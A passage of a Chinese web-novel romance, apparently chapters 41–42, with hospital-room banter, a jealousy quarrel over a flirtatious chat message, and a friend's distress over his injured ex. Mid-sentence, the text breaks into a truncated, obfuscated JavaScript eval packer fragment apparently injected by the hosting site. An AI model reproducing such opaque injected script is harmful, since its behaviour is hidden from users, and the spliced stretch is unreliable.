“佛教嘛?”蒋商鉴搂着她肩膀仔细观察那些照片,就是好几张都不出意外有一个剪刀手,骨骼分明修长的手指很抓人眼球,第四根无名指上有普通戒指。 “身高估计得190,比我矮半个头,跟我借火时候我趁机端详,大眼睛,但脸小小的,烟熏妆……” “不是的,印度教,当时就啥都得寄存,我们乘坐轨道交通蓝线到Akshardham站下来,非教徒好说歹说混进去看一眼,然后看了傍晚喷泉表演,小蛋糕味道还不错。”倪旖陷入回忆连嘴角都不自觉浮现微笑。 “这手是你姐的嘛?”蒋商鉴隐隐约约察觉有点不对劲,微蹙眉头就提出质疑。 “她跟我一样穿着一件黑皮外套,那一刻,我觉得这就是只属于我俩的情侣衫……” “是上次你见过那烧烤哥哥Tim的。”看妃子一眼,自觉失言,倪旖赶紧将话题拉回来,心里发虚。 “……你们有没有听我说话!”沉浸自己世界里的妃子突然意识到话题不对。 “听到了听到了。”蒋商鉴快速敷衍着。 倪旖回忆刚才话题:“我姐是coser,特帅那种,平台好多粉丝呢。” “我知道,我之前还刷过她视频,别说这女孩疯狂,我一男的都迷糊,都想自备润滑油,帅炸了。”妃子暂时被敷衍到,极其兴奋翻阅许和隋照片。 “你就是深柜。”倪旖笑笑。 “他老调戏我,你要不要揍他一顿?”蒋商鉴面带委屈找老婆帮忙。 41.绿茶 “要不是你这张脸足够帅,谁乐意调戏?许和隋好帅啊,她是混血还是一直都是西方立体面相?”妃子那馋虫表情就很耐人寻味。 “她混血,俄罗斯那边的,加上我姥姥家就是北方,本来就浓眉大眼,她这比乙女游戏建模脸还牛逼的轮廓,在哪里都特受欢迎,我闺蜜都喜欢她,一见都要亲。”倪旖很淡定解释,毕竟姐姐算她社交手段中的杀手锏,无往不利。 “我也好想亲一口。”妃子冲着手机屏幕啾咪一下。 “我觉得你够呛。”倪旖直接浇冷水。 “为什么啊?”妃子还挺不解,但听到这丧气话就很郁闷。 “我刚瞅了一眼你跟她的聊天记录。” “哥你放弃吧。” “她对你根本就没感觉。” “我平时就那么吊着男生的。” 倪旖一大串平平淡淡的炸裂发言。 “嗯?”蒋商鉴一愣,上去就给她一锁喉,“小嗯,说啥呢?” 倪旖立马撒娇服软:“干嘛,宝宝不生气,好不好嘛?” 蒋商鉴凑上去又亲一口。 “给我找一下口红,嘴巴上面的都被你吃掉了。”倪旖透过玻璃窗反射光线印像瞅到自己嘴巴都没颜色了。 蒋商鉴翻了半天都没找着,把手提袋倒过来,将里面的东西一股脑倒到桌上,水果糖的锡罐和茶几玻璃撞出一些声响,七零八落掉下一些罐罐管管。 “哪个是口红?”蒋商鉴懵圈,举着一个黑眼圈遮瑕眼霜试探询问。 “那个管状物。”倪旖有点无语,看来以后要好好调教纯情车王蒋商鉴。 蒋商鉴在好几个管里挑一个,试探道:“这个?” “那个是唇釉,左边那个。”倪旖耐心教他辨认。 经过提醒,蒋商鉴果断举起一个指甲油,满脸求夸。 “哈哈哈哈……”妃子放肆嘲笑,“没谈过恋爱的直男。” 倪旖上手揉他傻乎乎的脸颊,用手指一边圆圆球状物:“我教你,这个是海绵蛋——” “那不是钢……塞?”妃子皱眉,世界观一瞬间崩塌。 “……”倪旖无语一瞬,张开手朝他示意,“这位同学,请说出你的故事。” “哦哦,你谈过恋爱,怎么也不知道?”这下轮到蒋商鉴报复了。 “那你知道?”妃子反驳,不服输似的嘟囔,“……我就是太会谈恋爱。” “不知道啊。”蒋商鉴坦坦荡荡。 “你知道肛塞嘛?”倪旖特爱摸他脸颊,真的很滑,皮肤好。 “哈?”蒋商鉴听不懂那些名词。 “果然我家纯情车王还是道行浅了些。”倪旖真的好喜欢蒋商鉴萌萌小可爱。 “我教你哎——”妃子刚说话这几个字就被倪旖瞪回去。 倪旖幽幽道:“乱开黄腔,棺材反光。” 妃子摆摆手,就吃多了要呕吐感觉:“呵,大家都是老姜,何必装什么嫩蒜,斗得就是谁比谁辛辣,讲起荤话来要有一种大人的平常心嘛。” “那你说我俩算什么关系?”倪旖把这难题抛给无关人员。 “打打闹闹呗。”蒋商鉴声色晦暗。 “这叫打有情骂有意,噼里啪啦才如意。”妃子嘴巴里各种各样的话都来。 “噼……里?” “啪……啦?” 蒋商鉴和倪旖先后一问,随后蓦然对视,俩人都脸红转移视线。 如此质朴的直抒胸臆,就算素质上难以苟同,情绪上难免不受感染。 “……”蒋商鉴看着看着她生气时嘟起的嘴唇,又想上去亲一口。 倪旖赶忙推开他脸颊,骗他:“口红有毒的。” 蒋商鉴蹙眉摸着手机浏览器搜索那口红成分,边看边嘟囔说:“合成脂,烯烃化合物,硅油,合成蜡,高级脂肪醇,增稠剂,乳化剂,着色剂,保湿剂,这些东西有些食品都能添加,有些临床认证安全。” “着色剂里面有矿物色粉,有重金属。”倪旖面无表情哄骗。 “你骗我!”蒋商鉴继续阅读下面的提示,“你看,含量小,忽略不计。” “那也不能总吃啊。”倪旖快速将这话题揭过去,勾搭意味挑眉,“蒋同学还有什么问题?” “这个眼霜是敷眼睛的嘛?”蒋商鉴攥着那管眼霜好奇宝宝就出来问问题。 倪旖震惊一秒,颤抖道:“眼皮,不是眼球瞳孔。” “那脸霜,这一罐是上面写着,那跟眼霜换着涂,会怎么样?”蒋商鉴问。 “你觉得会怎么样?”倪旖都不敢想,那直男会咋样想,估计很炸裂。 “脸上会长很多很多眼睛?”蒋商鉴开玩笑,他虽然不懂但不愚蠢。 “咦咦咦~,一脸眼睛?好炸裂。”妃子光是想想就浑身不舒服,鸡皮疙瘩掉一地,密集恐惧症崩溃。 “不是,它就叫眼霜,面霜,不准问问题,把那香水给我?”倪旖好崩溃。 “哪个?”蒋商鉴看着那堆小物件根本就分不清楚。 “透明液体的。”倪旖指了一下右上角。 “那个?”蒋商鉴试探性拿起来。 “不是,那个是旅行装定妆喷雾,旁边那个香水小样。”倪旖就看他手慢脚乱好几秒中纠结,总算拿对了物件,摸着来之不易的香水小样微微叹息。 蒋商鉴如释重负。 “这个香不香?”倪旖喷一泵。 “香啊。”蒋商鉴鼻尖痒痒的,特想打喷嚏。 “那跟我早上来的时候味道谁更好闻?”倪旖靠近他一点一点。 “有有有……有区别嘛?”蒋商鉴果真是如履薄冰。 “没?你嗅觉不好?一个水香重,一个果香重。”倪旖仔细嗅嗅,很清晰啊。 “水还有香味啊?”蒋商鉴见她白眼一下,好委屈,小声嘀咕,“在我印象里最深的是风油精,涂这个比香水管用太多了。” “香水不是拿来管用的。”妃子嫌弃道,作为男人,他为蒋商鉴的无知感到可耻。 “哎,polina怎么还没做好饭?”倪旖敷衍着顺便将手机屏幕返回主页菜单软件界面,一看到壁纸,突然蒋商鉴玻璃杯没拿稳砸桌面上,哐当一声,整个人都要崩溃,偷偷摸摸观测蒋商鉴表情,果然醋宝又吃醋了。 就是单纯跟异性的普通合影而已,没接吻,没牵手,没搂肩膀。 “换个壁纸。”蒋商鉴语调强硬,斜斜靠着抱枕。衬衫气得动作一大松了白纽扣,露出顺颈而下的肩窝锁骨,熹微时浅浅的光照上去,便截出阴影,生气时胸腔一起一伏,锁骨带着薄薄的红痕,带着恶劣的色相。 “我又没跟你的合照。”倪旖被腰间手臂箍着,挨在他紧实怀里,心跳狂乱,脸颊红得跟熟透的小龙虾似的,似一具被抽走骨骼支架的陶瓷娃娃,柔弱温软。 “现在就照!”蒋商鉴被激得只剩愤懑。 “不要,我都用习惯壁纸了。”倪旖虽是这样说,可还将手机调到设置界面。 蒋商鉴探头对喋喋不休的妃子说:“你手机像素好,打开拍照功能。” 妃子一脸懵逼摸着手机准备递给他。 “你拍我俩。”蒋商鉴没接,反而垂眸很认真,见倪旖一点都不自知,分明笑嘻嘻踩上他胸口心脏,还无辜碾着鞋底,生怕他不够难受,原地狂跳四五百下。 倪旖刚刚粘腻的发梢才被窗外风撩干,半湿半透,有些散乱的发丝覆在裸露颈侧,耳垂下边动脉有一颗暗红小痣,皮下脉搏浅浅跃动,血液脉络偶尔膨胀。 蒋商鉴凑上去轻轻吮咬那小小勃动红痣。 “卧槽~”妃子疯狂摁快门,虽然有点无语,但是机不可失,等发到朋友圈,以后就不用当牵线红娘,抱住倪旖这大腿日子就好过了,嘴巴还是不留情,“业障啊你们?。” “拍好了嘛?”蒋商鉴冷漠收回嘴巴,“发给倪旖,让她换壁纸。” 倪旖还没体会好那痒痒肉滋味呢,就分开,也搁在一边生闷气:“不换。” 蒋商鉴没跟她说话,自顾自跟发消息。 “干嘛呢?”倪旖偷瞄一眼,还是熟悉头像,瞬间冒火,“英语报社?” 蒋商鉴继续敲字,就当没听见似的继续敲字。 倪旖探头探脑。 蒋商鉴张开手掌把她脸颊往一边轻轻推。 “我要看我要看。”倪旖脸颊都被揉变形还是坚强凑脸颊过去。 爸爸? 什么鬼? 那人瞎喊什么? “蒋商鉴!把手机给我,快点,我数到三——”倪旖尖叫着。 蒋商鉴很怵蜀道山,瞬间将手机丢给她,轻轻的,怕砸到她,会痛。 倪旖抱着手机往上翻消息,越看越恼怒,眼里冒火,连语气都变不好:“还喊爸爸呢?” “什么鬼?”妃子吃瓜真开心,见事情大了,皱眉就要看那消息,贼头贼脑就上前看热闹。 英语报社部长:图片.JPG 那图片配字:爸爸,好想你啊,在干嘛。 “你该不会不知道绿茶是啥玩意撒?”妃子立马跳起来主持公道,眉头紧皱,他一向很反感小夹子耍心机,就算是曾经把蒋商鉴联系方式卖出去,这种客户都直接无视的。 “那是我在学校养的猫,大家都知道我是它爸爸,你脑袋里面装了啥玩意儿?”蒋商鉴叹息,时刻观察倪旖恼火表情,指关节都攥得嘎嘎紧。 倪旖夺过妃子掌心手机,在上面对话框敲几个字。 蒋商鉴:是嘛?那你想嘛? 英语报社部长:嗯,学长,你有女朋友嘛? 蒋商鉴怕她瞎搞伤害别人赶忙将手机抢回来,快速撩开她挣扎的手,蹙着眉想着切实可行的解决方案,尽量不伤害人女孩。 毕竟人家是人,又不是小情侣play的一环。 也不嫌尴尬。 “爸爸都喊了,让妈妈批评两句就不乐意了?”倪旖叫嚣着,别过头眼眶微微发红。 “这回我站你。”妃子也愤愤不平,都快掐着蒋商鉴衣领子把他揍一顿,哄孩子似的拿纸巾给公主擦擦眼泪,满脸无措,“倪旖,商商不是瞎搞,你得相信他人格。” 蒋商鉴蹙着眉,半捂着耳朵躲避这刺耳尖叫声,沉着冷静发消息。 蒋商鉴:不好意思,手滑。 英语报社部长:嗯? 蒋商鉴:我刚跟对象说话,不自觉重复她的话,就无意识敲字发出去了。 对面沉默得有两分钟。 对方正在输入中…… 几秒几秒就出现一次。 英语报社部长:哦哦,怪不得我看着怪,我也跟男友聊天呢,发错消息了。 “蒋商鉴,我真的不喜欢你这样拉无关人来雌竞,不好。”倪旖浑身不舒服,她总是被给予偏爱的,根本不善于竞争,就算竞争也不能跟同类搞,没格调。 “是啊,商商,这事情确实你的锅。”妃子摸摸倪旖脑袋拉偏架,毕竟这事说到底还是蒋商鉴没拎清楚,倪旖这个富婆就哄着高兴就行,还搞哪门子幺蛾子。 “是我发暧昧十足消息嘛?倪旖,惹火烧身是你,人家就算心思不纯,我直接拒绝就好,但你钓鱼执法会让人难堪,很不好的。”蒋商鉴扶额,略微严肃告诉她。 “那你刚刚跟谁发消息呢?”倪旖百口莫辩,就低头一副犯错误模样,小声嘟囔,“我错了,对不起。” “他刚发朋友圈呢,哝——”妃子调到朋友圈界面。 倪旖看一眼。 公开状态。 全员可见。 蒋商鉴:有对象了,勿扰。 蒋商鉴:图片.JPG 那照片就是蒋商鉴咬她脖颈时拍的,他微微抬眸时眼里都是笑意。 这男的真帅。 她这辈子都爱岽大。 岽大派发对象。 倪旖看着自己脸颊被马赛克打掉,有点失神,小声呢喃:“其实不用马赛克的。” “还是去掉脸吧。听说博士换宿舍,公寓式,辅导员学生助理住单套间呢。”蒋商鉴挑眉故意逗她玩,倪旖眼睛红红的,估计刚刚真的生气很委屈。 倪旖没说话,垂眸很沮丧:“不敢想,代入下如果是自己的孩子,肯定会把这种为老不尊的小导员助理头打烂。” “我当时还劝他呢,暑假就得培训,都板上钉钉,他没退路。”妃子特担心这茬。 倪旖才不是担心那个,这种事情根本没法控制,就是表面家风挺好,要是给长辈知道还有这层关系,估计对蒋商鉴第一印象不好,以后不好结婚,叹息道:“没事,我家事情谁敢揭发呢,就是他这种以后不好带回去见父母,形象不好。” “还想过带我见家长嘛?”蒋商鉴心花路放,那嘴角都压制不住。 “我是不相关第三人,倪旖你说好了,你俩结婚我得当伴郎。”妃子就单纯开玩笑,毕竟他俩感情会非常坎坷的,都不是一个阶层的人,屌丝公主虽然屌丝,但也是公主,前路艰辛。 “干嘛?”蒋商鉴那嘴就咧到耳边。 “我给你包个大红包。”妃子就爱胡扯白咧。 “这么好?”蒋商鉴郁闷,简直黄鼠狼给鸡拜年。 “感谢你岳父啊,商商。倪旖,你爸给学校的捐款造了栋宿舍,还有科研资金呢,就生物科学院里。数院教授可羡慕了。”妃子耳目众多,这点消息不足挂齿。 “是嘛?我不太清楚哎。”倪旖根本不懂这些善意捐款,肯定是利益交换,抵税款都是捐赠这路子,又多瞅一眼妃子朋友圈界面,“……这花?” “海星送的。”妃子点击大图,语气都带着炫耀。 倪旖看着配色挺炸裂的花束,笑嘻嘻道:“你好兄弟审美还挺古典。” “我当时还说,大致一看还以为是一头舞狮的头。”蒋商鉴表示赞同,看着倪旖,她把复印出来的材料当扇子扇着,脸颊通红,靠在窗台围栏上,双手托腮,吹着海风,闭上眼睛。 “面好了没啊?我刚吃的都消化完了。”妃子摸摸圆圆的肚子,顺带打个嗝。 “你不是点鱼子酱了嘛?”倪旖扶在栏杆。 “我能再点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“蒋商鉴这个盘,小得像猫碗,分来分去就那三五粒粮,塞牙缝都嫌不够。你还来分一杯羹,滚犊子吧你,他是我的,一辈子都是我的。”倪旖一丁点都不愿落口舌下风,又抬手懒懒散散环住他脖颈。 “我是你的?”蒋商鉴凑上去吻住她额。 “老爱亲亲,车王嘛你?”倪旖一下踮脚亲他胡茬。 “当时就有种想法,把舌头伸进去舔舔,看是不是甜甜的。”蒋商鉴胳膊就自然而然搂着她腰,好软好小的女孩,要是真的做,她会被折断的。 “过一个月七夕,纯情车王想要什么礼物?”倪旖喜欢蒋商鉴垂眸时温柔浅笑声音,就像透明柔和的声音细胞液。 “想要小嗯帮我做一天实验报告呢?我要睡觉,一整天都瘫着不动弹。”蒋商鉴长期睡眠不足就很难受,这种极致不规律也是一种特殊规律,但困到想死。 “想得美,”倪旖抬手摁摁他微微青紫的眼眶下眼睑,那里皮肤在温和光线的照射下呈淡紫色,像是褪了色的青紫伤痕,“注意休息,老熬夜对迷你崽成活率和质量具有极大破坏性。” “……”妃子真是电灯泡不自知,就杵着看一眼,略微嫌弃。 倪旖松手,满屋子溜达开。 蒋商鉴笑笑,眼睛在屋子里到处跟着倪旖,像炽热的煤块在燃烧:“小嗯,那我送你什么呢?” “送你没送过别人的就行,我要独特的。”倪旖笑盈盈道,他这样做就像把猫放在假荆芥里,让她撒丫子打滚一样感到满足。 “你之前怎么过的?”蒋商鉴眼皮倦怠,光是聊到她前男友就好难过。 “看别人过呗。”倪旖敷衍。 “那我以什么身份送呢?”蒋商鉴非得一较高下。 “你想以什么身份送呢?”倪旖眨眨眼,一副俏皮模样。 “你觉得我想以什么身份送呢?”蒋商鉴继续跟她扯皮,她故意作弄他。 “你俩套娃呢?”妃子真看不下去,真想一人给一拳,使劲那种拳,明知这有狗,偏向狗撒粮,这就欠锤。 “海星呢?”蒋商鉴今天没被海星闹腾就不习惯,顺嘴问一句。 “人在星巴克敲代码。”妃子拧开一杯纯净水咕噜咕噜往下灌。 “海星还用word编辑代码,他那公司根本不用他力挽狂澜,过两天就得倒闭,哪有专业程序员的文本编辑器是word,用记事本都比那好。”蒋商鉴光是想想自己遇到的一堆奇葩怪就很想笑。 倪旖抬眸望向他:“这个我不太懂,那你明天出院,咱出去约个饭?给海星哥打个电话呗。” “我跟他微信联系了刚才,说午餐约。”妃子扬扬手机,随后低头继续看。 “你是专门嘲笑他的吧?”蒋商鉴就爱戳破真相。 妃子直接点一个长语音条。 “星巴克那帮小资,懂个屁,我把电脑拿出来的时候,他们从我的脑袋瞅到皮鞋,那眼神活像大猫见小鼠,呵忒,老子是老鼠那也是杰瑞,你丫是猫那也就是汤姆。” 海星声音从扩音筒里传来。 跟公鸭嗓似的。 指定又抽了烟。 “虽说海星不着调,一个人总爱讲些稀奇古怪的东西,有时特唬人,说话频率非常快,像窜稀了一样,不像你对象一样长期便秘。”妃子虽说是调侃,也还是替哥们澄清一下。 “唉,我有事,现在,你们保重。”倪旖手机振动,摸出来一看,仓促道。 蒋商鉴攥住她手腕,急切道:“干嘛去?” “有事就有事,你管呢?”倪旖把他手无情撇开,攥着包小跑奔出门外。 “小可爱,你回来以后还是不是我的小可爱呀?”蒋商鉴笑着目送她。 倪旖头也不回,比了个国际手势:“我是你爹。” “你干嘛,说一声啊。”妃子看蒋商鉴落寞神情,替他问出来。 “夜店。”倪旖胡扯八道。 “没想到你还有这种副业?倪旖,你堕落!”妃子举个国际手势,然后将蒋商鉴拉到沙发上安安稳稳坐着。 在离开途中却一直觉得背后似乎有股视线,被盯梢的感觉挥之不去,倪旖回头看见妃子哥那不友好的国际手势,耸耸肩。 蒋商鉴懒懒散散坐在沙发上,就很疲倦:“她总这样神神秘秘的。” 见自己家老幺那颓废模样,怕等会不好哄,朝着倪旖离开的方向不高不低质问道:“倪旖,你这样就过了火,商商得知道你去哪儿,毕竟他是你对象。” 蒋商鉴把下巴缩进衣领里,直直地盯着前方,眼神带着纯粹的渴望,像婴儿安安静静般等着被安慰,表情像一只被塞进育儿袋里的小袋鼠一样温顺可爱。 倪旖叹息,随后攥着斜挎包,把眼镜推上推下的凝眸注视——她视力不好,随后飞奔而来,半蹲在它面前,伸手想要拉着他,却抓了个空。 蒋商鉴像躲避瘟疫一样回避她低垂的双眼。 不是不喜欢她,恰恰是因为喜欢。 42.放弃 倪旖无奈笑笑,宝宝生气了,便再次尝试后才捉住他。 手腕被抓的蒋商鉴似乎流露出一丝怯意,垂眸认真道:“明天要记得过来。” 倪旖准确捕捉那一瞬间反常,温柔摸摸他刚蹦出小青茬脸颊:“好的宝宝。” 蒋商鉴脸颊绯红。 “宝宝最乖啦。” “宝宝不难过,我明天一定来接你。” “宝宝最棒啦!” “你是不是最乖的宝宝?” 倪旖一套丝滑连招就出来了。 妃子嗤笑,表情很不屑,这是什么奇葩哄人方式?难道是儿童心理学吗?男人又不是傻子,怎么可能吃这一套?一听就假得不行。 蒋商鉴乖乖点头:“是!我是最乖的!!!!” “……”妃子莫名就酸酸的,白眼,“切——,这只对幼稚的小男生有用,对我这种成熟稳重的男人来说,毫无作用。” 倪旖这边哄完蒋商鉴,满脸笑意对着妃子,甜甜道:“真的吗?超级喜欢成熟稳重的小哥哥,真的好羡慕你的女朋友呀,能跟你在一起是世界上最开心的事情了呀,你是最棒的宝宝,最棒的男人。” “是嘛是嘛?”妃子一丁点没思考,笑得跟个傻子似的,嘴角比AK还难压。 “哝——”倪旖满脸骄,戏耍到妃子哥。 蒋商鉴白眼送给二位。 妃子瞬间冷脸,嘟囔:“经历过女性欺骗的我,无论女孩子再说些什么,我都不会为她所动的,哼!” “哥哥肯定是太善良啦才会被我骗到的,对不对嘛?哝——,奖励一颗菠萝味糖果,以后还会很善良的很善良的,对不对?” 倪旖从兜里掏出一颗澄澈明亮黄的小冰晶糖果,手掌心浅浅蜷缩着,太会将男人玩弄于股掌之间,稍微撒撒娇就把他们钓成翘嘴。 “对!!!!”妃子瞬间丧失理智。 “……”蒋商鉴在一边跟烟囱似的咕噜咕噜都快冒烟。 “我家最乖的宝宝当然也有一颗呢。”倪旖察觉蒋商鉴表情狰狞,瞬间掏出个草莓糖果给他剥开。 正要喂到他嘴巴里,就见蒋商鉴一个劲儿躲避。 蒋商鉴在吃醋,倪旖边叹息将那颗糖果含在嘴巴里,膝盖自然垫在他两腿间隙处,捏他下巴嘴对嘴喂过去,他总算不躲。 “……”妃子瞬间觉得自己嘴巴里的菠萝味糖果一点都不香。 “我走啦,宝宝。”倪旖说罢,又亲了一口蒋商鉴嘴巴,赶紧跑,再不跑蒋商鉴整幺蛾子她就走不开了。 “你这思想就很落伍,恋爱又不是连体婴,你得给人自由。”妃子横手机就开始抽卡,将手机屏幕往那边横放,“你运气好,帮我抽一轮,我没伊内斯。” “不干,我干嘛把运气用来帮你抽明日方舟,走开。”蒋商鉴郁闷得要死。 “那留着,等回去骗骗海星。”妃子把手机收回来,滑动界面,看到微信联系人名称时瞬间眉飞色舞,“呕吼,我也有约了,午餐你自己吃吧。” “你别走啊。”蒋商鉴好难受,横七八竖躺在沙发上,望着天花板满脸死相。 “现在需要我了?我真得走,许和隋约我吃烧烤,海边呢,散个小步,拉拉小手,接个小嘴儿,真舒坦。”妃子这就开始幻想美好生活了。 “那你跟倪旖的表姐在一起话,我得喊你姐夫?”蒋商鉴揉揉脑袋,精神紧绷太久,早上倪旖一来瞬间松弛,现在精力不够,困倦得厉害,眼皮都在打架。 “你还不愿意?本来就是你哥,你就该喊,整天妃子妃子的,你是皇帝?都被海星他们带坏了。”妃子这下就开始摆谱,眉毛一挑,那就叫一个得瑟。 “妃子——”蒋商鉴刚要说话就被他打断。 “请叫我大哥,毕竟比你大八岁,大一时刚见面叫得别提多甜,这时候老油条似的,我的心拔凉拔凉的。”妃子捂着胸口,一个劲叫唤别提装得多假。 “你赶紧滚,把门带上。”蒋商鉴十分嫌弃,抬脚踹他腿,随后撑着胳膊肘起身,踉踉跄跄往前走,脸着枕头,倒在病床上就这么昏睡过去。 妃子把手机揣兜里,起来给他盖好被子,就直愣愣坐在床沿边:“商商啊,真羡慕你初恋就能水到渠成,倪旖人不错,你别老疑神疑鬼的。” “滚!”蒋商鉴朦朦胧胧还不忘记骂人。 妃子拍拍他肩膀,难得沉默一会儿,认真问:“我觉得我现在工作的动力已经降低了,可是对金钱的向往依旧是很高的,我是个烂人。” “那为什么对我显示你的烂人本质呢?”蒋商鉴虽说懒得搭理,可是别人都跟他说话了,也不好意思不回复。 “因为你居然敢对小富婆如此出言不逊,好敢哦。”妃子叹息一声,随后抬起手摸摸发痒的脑袋,“我觉得我不那么喜欢许和隋,但特喜欢她的钱,还有她国家烟草局稽查员的身份,有编制,哪个七大姑八大姨不爱呢?” “那你应该跟海星探讨,我又不懂啊。”蒋商鉴着实不想把喜欢倪旖变成喜欢倪旖某一样常人难以获得的东西。 “我才不会从海星那个烂人身上寻找优越感呢,显得我更烂了。”妃子有点疲倦其实,语气淡淡的,顺手给蒋商鉴倒杯热水放凉。 “你赶紧滚!”蒋商鉴都怀疑自己朋友咋都是烂人,感觉他也快烂掉了。 “我不滚,等会儿还有蟹黄面,鱼子酱寿司,我走了多亏,睡吧睡吧。”妃子给他搭盖被子完毕就跟抽了下线的熟虾似的摸着手机打Dota。 “滚吧你,你打游戏老是冒脏话,我睡不着。”蒋商鉴叹息。 “滚不了一点,你都不知道我吃食堂都快死掉,”妃子白眼,随后幽怨,“吃了块鸭肉,腥臭无比,恶心坏了,赶紧刨两口饭,刨出个蟑螂。遂让食堂阿姨换一碗,阿姨饱含歉意的打了满满一碗肉,吃两口,牙缝里扯出根钢丝。” “……”蒋商鉴脚小心踹他一脚,微蹙眉,“食堂没那么糟糕,你就瞎说,我每天吃食堂这好些年就在菠菜里吃出过一个硬币而已。” “睡吧你,”妃子懒得在说话,只是不经意嘟囔,“跟你待了几天,真是饿的我裤衩都大了,你老婆加餐我还得滚嘛?” “你嘴巴把点门好吧,倪旖不知道会不会厌恶这称呼。”蒋商鉴虽是这样说,但嘴角那一抹笑意掩盖都掩盖不住,都能把地球翘起来的那种力度。 “她玩得花,才不会在意。”妃子瞧这一副你懂我懂大家懂的模样。 “才不是呢。”蒋商鉴连辩解起来都显得有点心虚,脑袋枕在枕头上,越发沉重,昨晚没睡,现在昏昏沉沉。 “顺便一提,这个小登泡过的妞,一个个全都是庸脂俗粉,毫无高级审美,但我是个俗人,也无一例外感觉她们都很漂亮和性感……”妃子幽幽道。 “哈?”蒋商鉴表情略显疑惑,缓慢抬眸。 “我跟她聊天,让推荐大美女给我认识,一个个都是金发大波妹,她在国外的同学朋友,都是她的妞。”妃子说罢随意鼓捣起手机图册来,在蒋商鉴面前摆弄那一张张倪旖和大美女的合照,就见蒋商鉴脸色越来越黑。 蒋商鉴给一白眼,随后望向窗外,他在想,差距怎么慢慢缩减,也许不能成为最好的人,但是能试着成为最好的自己。 很明显,有很多方面,蒋商鉴跟倪旖有巨大差异,但这几乎很难改变,所以他只能再努力一把,虽然不能成为最配她的人,但是要成为最好的自己来配倪旖。 “哎,你东西我给收拾收拾,明天就能立马走。”妃子闲来无聊,自己的饭还没到,只能想着找点事情做,摸一摸床被单上面的褶皱,慢慢抚平。 “不用。”蒋商鉴蹙眉打断。 “哈?”妃子好意被拒绝,心脏有点痛。 “明天倪旖过来帮我收。”蒋商鉴叹息,他真的好难受,那种无力感袭来。 “你好心机,人大小姐过来给你收衣服,你脸真大,还想多拖延时间和她在一起,商商也不是很单纯嘛。”妃子看出他眼里幽邃的寒意,刻意说笑话逗他高兴。 “才不是,你笨手笨脚,别把我衣裳撕了。”蒋商鉴再没搭理他。 “我得多大劲儿啊?”妃子嘟囔道,还一边玩矿泉水瓶,随后一个大胆想法,慢慢举到脑袋上,缓慢找个平衡点,直接将那塑料瓶顶在头颅顶端,小心翼翼松开手,随后瞳孔放大,用气音震惊道:“商宝,商宝,看,看,快看,快看,我牛不牛逼?” “哎呦,你滚——” 矿泉水瓶在窗台上滚出半圈,妃子的笑声卡在空调外机的轰鸣里。 蒋商鉴抬头正撞见他指节发白地攥着手机,嘴角还保持着调侃的弧度,睫毛却在下垂的阴影里颤得厉害。 霓虹灯碎在雨里。 蒋商鉴隔着病房玻璃看妃子,他正把手机贴在耳边,指节攥得发白。 走廊顶灯在他脸上切出半明半暗的裂痕,像块被摔碎的釉面瓷砖。 “喂?我这儿信号不好……”妃子突然笑出声,尾音却颤得厉害。 他转身用肩膀抵住窗框,指甲在玻璃上划出细长水痕。 蒋商鉴看见妃子左手在抖。 烟灰簌簌落在病号服上,烫出密密麻麻的焦痕。 电话那头传来机械女声报电子账单的杂音。 妃子突然把烟按灭在掌心,皮肉灼烧的滋滋声让蒋商鉴胃袋翻涌。 “哭算个屁,你当年甩我的时候不是挺潇洒?” 雨滴顺着窗缝渗进来,在他衬衫后背洇出一片深灰。 蒋商鉴看着那团水渍慢慢扩大。 妃子维持着扭曲的笑脸,声音却突然低下去:“叔叔阿姨现在住哪?护工钱要多少啊?” 他摸出根烟咬在齿间,打火机咔哒响了三回才点燃,青烟被穿堂风撕成絮状。 “你他妈早该告诉我,前两天打电话也不说什么。”妃子忽然踹了一脚灭火器,铝制外壳发出空荡荡的回响。 他蹲下来捂住眼睛,指缝里漏出的水珠砸在反光的瓷砖上:“明天就飞过来,听见没?你别哭,我卡里还有钱,别哭啊,哭什么,我在呢,都能解决……” 电话挂断的瞬间,妃子整个人坍缩下去。 蒋商鉴推开门,正看见他抓起那杯温水往嘴里灌,喉结滚动两下又呛得满脸通红。 “医院禁止吸烟。”蒋商鉴抽走他指间的半截烟蒂,火星在掌心烫出个红点。 “许和隋约我明晚吃日料呢,顶级蓝鳍金枪鱼。”妃子突然提高音量,塑料瓶被捏得噼啪作响,“你说我穿那件Burberry风衣配克罗心项链怎么样?” 消毒水味在病房里凝滞。 蒋商鉴看着他把矿泉水瓶倒过来又正回去,瓶盖旋开又拧紧。 五小时前这人还在炫耀新买的卡地亚手镯,说等许和隋生日要给她套脚踝上。 “你抖什么?”蒋商鉴把镇痛泵往床头推了推。 “饿的,食堂那破饭.……” 妃子突然把手机甩到陪护床上,金属框撞在铁栏杆上当啷一声。 屏幕还亮着。 通话记录最顶端是个没有备注的本地号码,通话时长七分四十三秒。 蝉鸣混着走廊轮椅碾过地胶的声响涌进来,妃子猛地扯开领口,锁骨处蜿蜒的旧疤泛着潮红。 “你说人活着是不是就图个钱权色?就像咱所里那些老教授,六十多了还抢着给企鹅当顾问……” 蒋商鉴摸出根烟在指尖转着,看他后颈暴起的青筋蜿蜒进汗湿的衣领。 八年前他们挤在研究生宿舍看《大话西游》,妃子灌着二锅头笑紫霞仙子蠢,说要是自己肯定选牛魔王。 那会儿他初恋就一声不吭逃掉了。 “她胳膊没了。”妃子突然说,指甲在矿泉水商标上抠出细碎的塑料屑,“做截肢手术,骨头渣子都嵌进肉里,她最怕痛的。” 消毒棉球从蒋商鉴指间滚落,在瓷砖上弹了两下。 妃子还在笑,嘴角扭曲得像摔裂的石膏像:“她爸昨天在ICU签病危通知,手背上还粘着讨债人泼的红油漆。” 窗外的香樟树沙沙晃着,妃子摸出个褪色的哆啦A梦钥匙扣,弹簧挂件在节能灯下晃出细碎光斑。 蒋商鉴想起大二暑假,这人在实验室熬了三个月,最后用竞赛奖金买了对戒,就想着给初恋一个惊喜,结果初恋倒是给他好大一个惊喜。 “那你现在还想跟许和隋在一起?” “不然呢?”他声音像被砂纸磨过,“给她换假肢要钱,植皮要钱,还债要钱!我他妈连实验室耗材现在都想偷!”他突然安静下来,几乎绝望,“数学证明能换钱吗?黎曼猜想解决之前,我连她止痛药都供不起。” 凌晨走廊响起轮椅碾过地砖的吱呀声。 